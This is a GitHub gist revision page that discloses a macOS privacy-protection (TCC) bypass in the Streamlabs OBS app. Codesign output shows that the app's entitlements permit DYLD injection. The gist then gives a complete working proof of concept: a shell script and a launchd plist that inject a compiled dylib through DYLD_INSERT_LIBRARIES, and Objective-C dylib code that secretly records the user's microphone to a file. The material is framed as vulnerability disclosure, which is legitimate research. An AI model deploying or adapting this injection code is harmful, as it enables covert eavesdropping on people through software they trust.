Skip to content

Instantly share code, notes, and snippets.

@theevilbit
Last active August 3, 2021 22:14
Show Gist options
  • Select an option

  • Save theevilbit/50eeb4a7f333c5de44a4a6d3de41228f to your computer and use it in GitHub Desktop.

Select an option

Save theevilbit/50eeb4a7f333c5de44a4a6d3de41228f to your computer and use it in GitHub Desktop.

Revisions

  1. theevilbit revised this gist Jan 1, 2021. 1 changed file with 33 additions and 1 deletion.
    34 changes: 33 additions & 1 deletion _obs_tcc.md
    Original file line number Diff line number Diff line change
    @@ -1,2 +1,34 @@
    # StreamLabs OBS macOS TCC bypass
    The Streamlabs macOS thick client does have hardened runtime enabled, but specifically allows DYLD environment variables and also disables library validation, which kills the purpose of hardened runtime. Having these settings on the executable enables an attacker to inject custom DYLIB libraries into the application. This would allow an attacker to access data inside the app, and possibly gain persistence on a machine, beyond that, as StreamLabs has access to the microphone and camera a user would gain access to that once exploited.
    The Streamlabs macOS thick client does have hardened runtime enabled, but specifically allows DYLD environment variables and also disables library validation, which kills the purpose of hardened runtime. Having these settings on the executable enables an attacker to inject custom DYLIB libraries into the application. This would allow an attacker to access data inside the app, and possibly gain persistence on a machine, beyond that, as StreamLabs has access to the microphone and camera a user would gain access to that once exploited.

    We can see the wrong permissions with running the `codesign` utility:

    ```
    csaby@bigsur ~ % codesign -dv --entitlements :- /Applications/Streamlabs\ OBS.app
    Executable=/Applications/Streamlabs OBS.app/Contents/MacOS/Streamlabs OBS
    Identifier=com.streamlabs.slobs
    Format=app bundle with Mach-O thin (x86_64)
    CodeDirectory v=20500 size=1760 flags=0x10000(runtime) hashes=46+5 location=embedded
    Signature size=9059
    Timestamp=2020. Dec 9. 11:29:20
    Info.plist entries=30
    TeamIdentifier=UT675MBB9Q
    Runtime Version=10.15.0
    Sealed Resources version=2 rules=13 files=1108
    Internal requirements count=1 size=180
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
    <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
    <true/>
    <key>com.apple.security.device.audio-input</key>
    <true/>
    <key>com.apple.security.device.camera</key>
    <true/>
    <key>com.apple.security.cs.allow-dyld-environment-variables</key>
    <true/>
    <key>com.apple.security.cs.disable-library-validation</key>
    <true/>
    </dict>
    </plist>% ```
  2. theevilbit revised this gist Jan 1, 2021. No changes.
  3. theevilbit revised this gist Jan 1, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion _obs_tcc.md
    Original file line number Diff line number Diff line change
    @@ -1,2 +1,2 @@
    # StreamLabs OBS macOS TCC bypass
    The Streamlabs macOS thick client does have hardened runtime enabled, but specifically allows DYLD environment variables and also disables library validation, which kills the purpose of hardened runtime. Having these settings on the executable enables an attacker to inject custom DYLIB libraries into the application. This would allow an attacker to access data inside the app, and possibly gain persistence on a machine, beyond that, as StreamLabs has access to the microphone and camera a user would gain access to that once exploited. #tcc #obs #macos
    The Streamlabs macOS thick client does have hardened runtime enabled, but specifically allows DYLD environment variables and also disables library validation, which kills the purpose of hardened runtime. Having these settings on the executable enables an attacker to inject custom DYLIB libraries into the application. This would allow an attacker to access data inside the app, and possibly gain persistence on a machine, beyond that, as StreamLabs has access to the microphone and camera a user would gain access to that once exploited.
  4. theevilbit revised this gist Jan 1, 2021. No changes.
  5. theevilbit revised this gist Jan 1, 2021. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions _obs_tcc.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2 @@
    # StreamLabs OBS macOS TCC bypass
    The Streamlabs macOS thick client does have hardened runtime enabled, but specifically allows DYLD environment variables and also disables library validation, which kills the purpose of hardened runtime. Having these settings on the executable enables an attacker to inject custom DYLIB libraries into the application. This would allow an attacker to access data inside the app, and possibly gain persistence on a machine, beyond that, as StreamLabs has access to the microphone and camera a user would gain access to that once exploited. #tcc #obs #macos
  6. theevilbit revised this gist Jan 1, 2021. No changes.
  7. theevilbit created this gist Jan 1, 2021.
    2 changes: 2 additions & 0 deletions obs.sh
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2 @@
    gcc -dynamiclib -framework Foundation -framework AVFoundation obstcc.m -o /tmp/obstcc.dylib
    launchctl load obs-inject.plist
    19 changes: 19 additions & 0 deletions obs_inject.plist
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
    <key>Label</key>
    <string>org.test.obs</string>
    <key>EnvironmentVariables</key>
    <dict>
    <key>DYLD_INSERT_LIBRARIES</key>
    <string>/tmp/obstcc.dylib</string>
    </dict>
    <key>ProgramArguments</key>
    <array>
    <string>/Applications/Streamlabs OBS.app/Contents/MacOS/Streamlabs OBS</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    </dict>
    </plist>
    66 changes: 66 additions & 0 deletions obs_poc.m
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,66 @@
    #include <stdio.h>
    #include <syslog.h>
    #import <AVFoundation/AVFoundation.h>

    //based on: https://conference.hitb.org/hitbsecconf2017ams/materials/D2T1%20-%20Patrick%20Wardle%20-%20Oversight%20-%20Exposing%20Spies%20on%20MacOS.pdf

    //class interface declaration
    @interface AudioSnap : NSObject <AVCaptureFileOutputRecordingDelegate>
    @property (strong, nonatomic) AVCaptureAudioFileOutput *audioFileOutput;
    @property (strong, nonatomic) AVCaptureSession *session;

    -(void)record;
    @end

    //class implementation
    @implementation AudioSnap

    -(void)record {
    //grab default device
    AVCaptureDevice* device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];

    //init session and output file obj
    self.session = [[AVCaptureSession alloc] init];

    //init audio input
    AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:nil];

    //init audio output
    self.audioFileOutput = [[AVCaptureAudioFileOutput alloc] init];

    //add input and output to session
    [self.session addInput:input];
    [self.session addOutput:self.audioFileOutput];

    //do the capture
    [self.session startRunning];
    [self.audioFileOutput startRecordingToOutputFileURL: [NSURL fileURLWithPath:@"/tmp/obs.m4a"] outputFileType:AVFileTypeAppleM4A recordingDelegate:self];

    //stop recoding after 15 seconds
    [NSTimer scheduledTimerWithTimeInterval:15 target:self selector:@selector(stopRecording:) userInfo:nil repeats:NO];
    }

    -(void)stopRecording:(int)sigNum {
    //stop recording
    [self.audioFileOutput stopRecording];
    }

    -(void)captureOutput:(AVCaptureFileOutput *)captureOutput
    didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
    fromConnections:(NSArray *)connections
    error:(NSError *)error {

    //stop session & exit
    [self.session stopRunning];
    exit(0);
    }
    @end

    __attribute__((constructor))
    static void myconstructor(int argc, const char **argv) {
    printf("[+] dylib constructor called from %s\n", argv[0]);
    //alloc/start recording
    AudioSnap* as = [[AudioSnap alloc] init];
    [as record];
    [[NSRunLoop currentRunLoop] run];
    }